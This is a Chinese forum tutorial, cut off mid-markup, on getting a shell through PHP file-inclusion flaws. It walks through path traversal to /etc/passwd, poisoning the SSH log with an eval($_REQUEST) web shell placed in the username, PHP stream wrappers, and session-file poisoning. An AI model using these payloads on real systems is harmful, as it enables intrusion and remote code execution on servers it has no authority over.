PHP文件包含小总结
<section data-tools="135编辑器" data-id="101255"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;padding-bottom: 2px;box-sizing: border-box;"><section style="display: flex;align-items: center;"><section style="box-sizing:border-box;width: 10px;height: 10px;background: #b6dcff;align-self: flex-end;margin-left: -5px;margin-bottom: -2px;overflow: hidden;"><br></section></section></section></section></section><h1 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 28px;color: rgb(0, 0, 0);"><span style="font-size: 17px;">1.前言</span></h1><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;"> 最近在某个项目上天天挖洞,每天不是什么信息泄露就是xss,没有一个能getshell,愁的不行,感觉头顶都凉飕飕了。不知是早上出门时,没注意踩到狗屎,还是今天运气好,发现一处竟然有文件包含漏洞,百度一波getshell姿势,逐一尝试后,发现可以利用日志getshell。这里本地模拟一下当时情况,复现一下。同时就让我这个小菜鸡总结一下getshell方式,以便之后遇到文件包含漏洞更快的去拿shell。</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width: 100%; cursor: pointer; opacity: 1;" src="https://www.ihonker.org/data/attachment/forum/202103/05/0ff43c55e2c08dc731170f05ae445a77.jpeg"></span></p><h2 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 1px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 24px;border-bottom-style: solid;border-bottom-color: rgb(204, 204, 204);color: rgb(0, 0, 0);"><span style="font-size: 14px;">1.1.本地复现</span></h2><ol style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 30px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;" class="list-paddingleft-2"><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p><span style="font-size: 14px;">当时发现url中有一个参数file=/home/task.php,灵机一动,把/home/task.php替换成了../../../../../../etc/passwd</span></p><p><span style="font-size: 14px;"></span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/8b90742b2e82216662c3316beca0001a.png"></span></p></li><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p><span style="font-size: 14px;"></span></p><p>接着发送带有php代码的请求,先phpinfo试一试。</p><p><br></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/29d0510bd3214d9693640e27b8ae4ef6.png"></span></p></li><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="color: rgb(0, 0, 0);">接着就是包含日志了,感觉马上就要起飞了,结果很突然,no such file了,又换了几个路径,还是这样。</span></p><p><br></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/3db156d549cbf4850f540e1ad0139224.png"></span></p></li><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="color: rgb(0, 0, 0);">没办法只是试试包含一下配置文件,结果....一样。</span></p><p><br></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/2559f708ef177e5df4670d936828deb9.png"></span></p></li><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="color: rgb(0, 0, 0);">这可咋办,眼瞅着就要getshell了,没路径啊,突然想到还有一个ssh log可以尝试包含一下,立刻来了精神头,噼里啪啦一顿敲,食指放在回车键上,犹豫不决,豁出去了!只见我眼睛一闭,重重按下回车,当我慢慢睁开眼时,欣喜若狂,终于没有no such file 了</span></p><p><br></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/68fdcd7ffbac217ced82ce7a00f9f4a3.png"></span></p></li><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="color: rgb(0, 0, 0);">接下来就很简单了直接ssh连接:</span></p></li></ol><blockquote style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 15px;padding-bottom: 0px;padding-left: 15px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 4px;border-style: initial;border-color: initial;border-left-style: solid;border-left-color: rgb(221, 221, 221);color: rgb(119, 119, 119);"><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;color: rgb(0, 0, 0);">ssh \'\<?=eval(\$_REQUEST)?>\'\@remotehost</span></p></blockquote><h1><span style="font-size: 14px;"> 7. 包含ssh log文件,然后执行下命令:id。成功!</span><span style="font-size: 14px;color: rgb(0, 0, 0);"></span></h1><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/8dece3600143a33d9155e54b5d91015b.png"></span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/306e9cb28713cd0233740810213eb633.jpeg"></span></p><p><span style="font-size: 17px;color: rgb(0, 0, 0);font-weight: bold;">2.文件包含小知识</span><br></p><h2 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 1px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 24px;border-bottom-style: solid;border-bottom-color: rgb(204, 204, 204);color: rgb(0, 0, 0);"><span style="font-size: 14px;">2.1.包含函数</span></h2><p style="margin-top: 10px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">1、PHP共有4个与文件包含相关的函数:</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">include</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">require</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">include_once</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">require_once</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">2、Include与include_once的区别:</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">(1)Include:会将指定的文件载入并执行里面的程序;重复引用的情况下加载多次。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">例如:</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/846a298bc839dd012d30fde6b1f21385.png"></span></p><blockquote style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 15px;padding-bottom: 0px;padding-left: 15px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 4px;border-style: initial;border-color: initial;border-left-style: solid;border-left-color: rgb(221, 221, 221);color: rgb(119, 119, 119);"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">这里include两次1.php文件,所以就会包含1.php两次。</span></p></blockquote><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">(2)Include_once:会将指定的文件载入并执行里面的程序;此行为和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">例如:</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/6a4fbe4dd20c8e00bb06f1b2d7a687cf.png"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">这里include_once了两次1.php文件,但只会包含1.php一次。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">(3)require和require<em style="margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;">once的用途与上面两个一样,但区别就是require和require</em>once会加载页面最开始执行。Include和include_once会按代码顺序执行。</span></p><h2 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 1px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 24px;border-bottom-style: solid;border-bottom-color: rgb(204, 204, 204);color: rgb(0, 0, 0);"><span style="font-size: 14px;">2.2.支持的协议和封装协议</span></h2><blockquote style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 15px;padding-bottom: 0px;padding-left: 15px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 4px;border-style: initial;border-color: initial;border-left-style: solid;border-left-color: rgb(221, 221, 221);color: rgb(119, 119, 119);"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">File:// ------访问本地文件系统</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">http(s):// ------访问HTTP(s)网址</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">ftp:// ------访问FTP(s) URLs</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">php:// ------访问各个输入/输出流(I/O streams)</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">zlib:// ------压缩流</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">data:// ------数据(RFC 2397)</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">glob:// ------查找匹配的文件路径模式</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">phar:// ------PHP归档</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">ssh2:// ------Secure Shell 2</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">rar:// ------RAR</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">ogg:// ------音频流</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">expect:// ------处理交互式的流</span></p></blockquote><h2 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 1px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 24px;border-bottom-style: solid;border-bottom-color: rgb(204, 204, 204);color: rgb(0, 0, 0);"><span style="font-size: 14px;">2.3.常用伪协议讲解:</span></h2><p><span style="font-size: 14px;">1. file://</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">(1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">(2)例如:file:///etc/passwd、file://key.txt</span></p><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">2. php://</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">(1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">(2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/270cedfc7ffbfd112a004e3385147058.png"></span><span style="font-size: 14px;text-align: justify;"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">3、phar://</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">(1)phar://数据流包装器自PHP5.3.0起开始有效</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">phar://1.zip/phpinfo.txt</span></p><h2 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 1px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 24px;border-bottom-style: solid;border-bottom-color: rgb(204, 204, 204);color: rgb(0, 0, 0);"><span style="font-size: 14px;">2.4.伪协议利用方式小总结:</span></h2><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/45d661e1f3ff0d080d6cecd80497365b.png"></span></p><h1 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 28px;color: rgb(0, 0, 0);"><span style="font-size: 17px;">3.getshell总结</span></h1><h2 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 1px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 24px;border-bottom-style: solid;border-bottom-color: rgb(204, 204, 204);color: rgb(0, 0, 0);"><span style="font-size: 14px;">3.1.Getshell之session</span></h2><p style="margin-top: 10px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">条件:session文件路径已知,且session文件中内容部分可控。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">获取session文件路径:</span></p><blockquote style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 15px;padding-bottom: 0px;padding-left: 15px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 4px;border-style: initial;border-color: initial;border-left-style: solid;border-left-color: rgb(221, 221, 221);color: rgb(119, 119, 119);"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">1、session文件的保存路径可以在phpinfo的session.save_path看到。</span></p></blockquote><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/797d09ef2509aad02f342c0681baeabb.png"></span></p><blockquote style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 15px;padding-bottom: 0px;padding-left: 15px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 4px;border-style: initial;border-color: initial;border-left-style: solid;border-left-color: rgb(221, 221, 221);color: rgb(119, 119, 119);"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">2、默认路径:</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">/var/lib/php/sess_PHPSESSID</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">/var/lib/php/sess_PHPSESSID</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">/tmp/sess_PHPSESSID</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">/tmp/sessions/sess_PHPSESSID</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">session的文件名格式为sess_。而phpsessid在发送的请求的cookie字段中可以看到。\ </span></p></blockquote><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/d0f9cb75a10d34fe26ec5ac4d71736b9.png"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">利用:</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">1.要包含并利用的话,需要能控制部分sesssion文件的内容。可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">2.例如现在有一个session.php可控用户会话信息值:</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/c6fc1a44885b4c5bd8f7181beac9c610.png"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">3.可以看到这个session.php文件中的用户会话信息username的值是用户可控制的,那我们就可以传入恶意代码进行攻击利用。</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/ad93d31a96c306351ee247e678c04b38.png"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">4.将恶意代码传入以后,接下来就要利用文件包含漏洞去包含这个恶意代码。</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width: 100%; cursor: pointer; opacity: 1;" src="https://www.ihonker.org/data/attachment/forum/202103/05/5d23ef479c5e3ef4505eaa587e1d8ac4.png"></span></p><p 